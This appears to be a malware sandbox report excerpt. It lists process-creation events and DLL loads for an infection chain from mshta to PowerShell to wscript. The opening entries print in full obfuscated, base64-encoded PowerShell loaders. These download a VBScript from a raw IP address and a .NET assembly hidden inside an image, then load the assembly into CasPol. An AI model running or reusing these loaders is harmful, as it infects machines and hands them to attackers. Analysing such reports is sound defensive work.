Source: C:\Windows\SysWOW64\ieUnatt.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/c POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwersheLl -eX BYPaSS -nop -W 1 -C DeviCecredEnTIalDEPLOYMEnt.Exe ; iNVOke-expRESSiON($(iNvOkE-ExpRESSioN('[SysteM.TEXT.ENcODiNG]'+[cHaR]58+[Char]0x3a+'Utf8.GeTSTriNG([SYsTem.CoNVERT]'+[Char]58+[ChAR]0X3A+'FRombASe64STRIng('+[chAR]0X22+'JEw0ZndkeXlMajAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhRGQtVHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVNYkVSZEVGSU5JVGlPbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWFRvUEFva1FsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBtRFBqS3BBLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBYZ0JoTVZaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZFNFSkFZa3BHLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB5eXVaQ0FMWVkpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkVSaUlMZk4iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQXogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkTDRmd2R5eUxqMDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzIuNDQuMTc1LzczL3NpbXBsZWNvb2tpZWJpc2N1dHdpdGhzd2VldG5lc3Nmb3JlbnRpcmV0aW1lLnRJRiIsIiRlTnY6QVBQREFUQVxzaW1wbGVjb29raWViaXNjdXR3aXRoc3dlZXRuZXNzZm9yZW50aXIudmJTIiwwLDApO3NUQXJULVNsZUVwKDMpO0lOdk9rZS1FWFBSZXNzaW9OICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcc2ltcGxlY29va2llYmlzY3V0d2l0aHN3ZWV0bmVzc2ZvcmVudGlyLnZiUyI='+[ChAr]0X22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\j4tmsurx\j4tmsurx.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\simplecookiebiscutwithsweetnessforentir.vbS"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC568.tmp" "c:\Users\user\AppData\Local\Temp\j4tmsurx\CSCD8A49667F2D248CBA423D29C56F4A9D.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $claustrophobe = 'JGF1dG9zYXZlID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JGNoZW1vdHJvcGlzbSA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQ7JHF1ZWVmID0gJGNoZW1vdHJvcGlzbS5Eb3dubG9hZERhdGEoJGF1dG9zYXZlKTskcHVua2xpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcXVlZWYpOyR0dWJlcmN1bG9waG9iaWEgPSAnPDxCQVNFNjRfU1RBUlQ+Pic7JGZlbXRvY291bG9tYiA9ICc8PEJBU0U2NF9FTkQ+Pic7JHVudGhyaWZ0eSA9ICRwdW5rbGluZy5JbmRleE9mKCR0dWJlcmN1bG9waG9iaWEpOyRoYW1tYW0gPSAkcHVua2xpbmcuSW5kZXhPZigkZmVtdG9jb3Vsb21iKTskdW50aHJpZnR5IC1nZSAwIC1hbmQgJGhhbW1hbSAtZ3QgJHVudGhyaWZ0eTskdW50aHJpZnR5ICs9ICR0dWJlcmN1bG9waG9iaWEuTGVuZ3RoOyRwZXRyb2RvbGxhciA9ICRoYW1tYW0gLSAkdW50aHJpZnR5OyRkYXN5YXRpZGFlID0gJHB1bmtsaW5nLlN1YnN0cmluZygkdW50aHJpZnR5LCAkcGV0cm9kb2xsYXIpOyRkaWdpdGFsaXNpbmcgPSAtam9pbiAoJGRhc3lhdGlkYWUuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGRhc3lhdGlkYWUuTGVuZ3RoKV07JHVuaWRlYWxpemVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZGlnaXRhbGlzaW5nKTskY29tbWVuZGluZyA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHVuaWRlYWxpemVkKTskamFwb25pY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGphcG9uaWNhcy5JbnZva2UoJG51bGwsIEAoJzAvY3VWREUvci9lZS5ldHNhcC8vOnNwdHRoJywgJyRjb25maWRlbnRpYWxpdHknLCAnJGNvbmZpZGVudGlhbGl0eScsICckY29uZmlkZW50aWFsaXR5JywgJ0Nhc1BvbCcsICckY29uZmlkZW50aWFsaXR5JywgJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJyRjb25maWRlbnRpYWxpdHknLCckY29uZmlkZW50aWFsaXR5JywnJGNvbmZpZGVudGlhbGl0eScsJzEnLCckY29uZmlkZW50aWFsaXR5JykpOw==';$uninverted = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($claustrophobe));Invoke-Expression $uninverted	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	Process created: C:\Windows\SysWOW64\ieUnatt.exe "C:\Windows\SysWOW64\ieUnatt.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\ieUnatt.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
